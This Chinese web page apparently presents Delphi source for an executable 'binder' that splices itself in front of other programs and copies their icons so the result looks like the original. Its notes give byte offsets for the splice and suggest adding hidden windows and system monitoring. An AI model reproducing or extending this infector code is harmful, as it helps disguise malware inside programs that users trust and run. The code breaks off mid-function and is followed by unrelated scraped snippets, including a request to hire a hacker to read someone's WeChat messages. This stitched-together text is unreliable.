最新功能:与其它程序捆绑后,图标为其它程序的图标
这个示范程序没有form,编译、压缩后仅40K,运行后不长驻内存
如果加上隐藏的窗体,加上搜索可执行程序的功能,加上监视系统的功能,加上 %$#@*^ 功能...
程序中几个数字的确定:
1 在本程序编译后用Aspack.Exe压缩,大小为41472
2 经过分析,本程序在用Aspack.Exe压缩后,图标前面部分长40751,图标数据
位于从第40752字节开始共640字节,图标后还有81字节
与其它程序捆绑的过程:
本程序的前40751字节+被捆绑程序的图标+本程序最后81字节+被捆绑程序全部
怎么找到图标的位置:
将程序的图标设定为一个32*32的红色块,在程序经过编译、压缩后,用十六进制
编辑软件载入,查找“99 99 99”字符串即可。以后你可为程序加上其它合适的图标。
十六进制编辑软件:常用UltraEdit。
本人嫌它有日期限制,自编了一个,有十六进制编辑、比较、查找功能,并在不断完善中,对付几百K的文件没问题:
http://guanbh.top263.net/download/hexedit.exe
}
program exe2;
uses
classes,
Tlhelp32,
windows,
graphics,
ShellAPI,
SysUtils;
{$R *.RES}
var
lppe:TProcessEntry32;
found:boolean;
handle:THandle;
ProcessStr,ExeName:string;
WinDir:pchar;
const
MySize=41472; {!!这个值要根据编译或压缩后的文件大小进行修改!!}
procedure copy2(s:string);
var
s1,s2,IcoStream:TMemoryStream;
File2:TFilestream;
ch:array[0..1] of char;
ss:string;
filetime,fhandle:integer;
l:integer;
File2Icon:Ticon;
begin
{若文件s不存在}
if FileExists(s)=False then exit;
try
{若文件不含图标,就不捆绑}
File2Icon:=Ticon.Create;
l:=extracticon(handle,pchar(s),0);
if l=0 then
begin
File2Icon.Free;
exit;
end
else
begin
{提取被捆绑程序图标}
File2Icon.Handle:=extracticon(handle,pchar(s),0);
IcoStream:=TMemoryStream.Create;
File2Icon.SaveToStream(IcoStream);
File2Icon.Free;
end;
{判断文件s中有没有第2个程序头’MZ’。若有,表示已经合并过}
File2:=TFilestream.Create(s,fmopenread);
if File2.Size>MySize then
begin
File2.Position:=MySize;
File2.Read(ch,2);
ss:=copy(ch,1,2);
本文目录一览: 1、黑客窃取卡普空游戏资料是真的吗?怪物猎人何时会上架PC平台? 2、《超级幻影猫2》为什么下架了? 3、开心消消乐怎么不能玩了? 4、苹果下架王者荣耀是真的吗 网友:王者...
Kindle人社区负责人宣布论坛将于2015年2月23日24点住手运营,届时将住手一切网络服务。 kindle人论坛专注于为kindle用户相助问答,书籍分享下载等服务。 提议的初衷是确立一个专业...
当被问及为何在婚姻中多次出轨时,他们似乎总是有原因:压力太大、对婚姻现状不满等 然而,即使你有一个近乎完美、温柔、贤惠、勤劳的妻子,还是会有人出去找一个下级——一个欺骗自己的秘书和一个餐馆的服务员 明...
为进一步提升巴州涉棉一线监管人员现场监督检查能力,近日巴州棉花质量监管工作培训交流会在州市场监督管理局召开。 此次培训,采用现场授课和实地观摩交流的方式进行,由州市场监管部门的专业技术人员主讲...
抽象来说,假如一个站点契合下面3个条件,就会存在crossdomain.xml引起的安全危险。 4) 直接通读全文代码,这种方法能够更好的了解代码的事务逻辑,能够挖掘出更有价值的缝隙2.ad_js.p...
有木有网络黑客帮我查手机微信的微信聊天记录...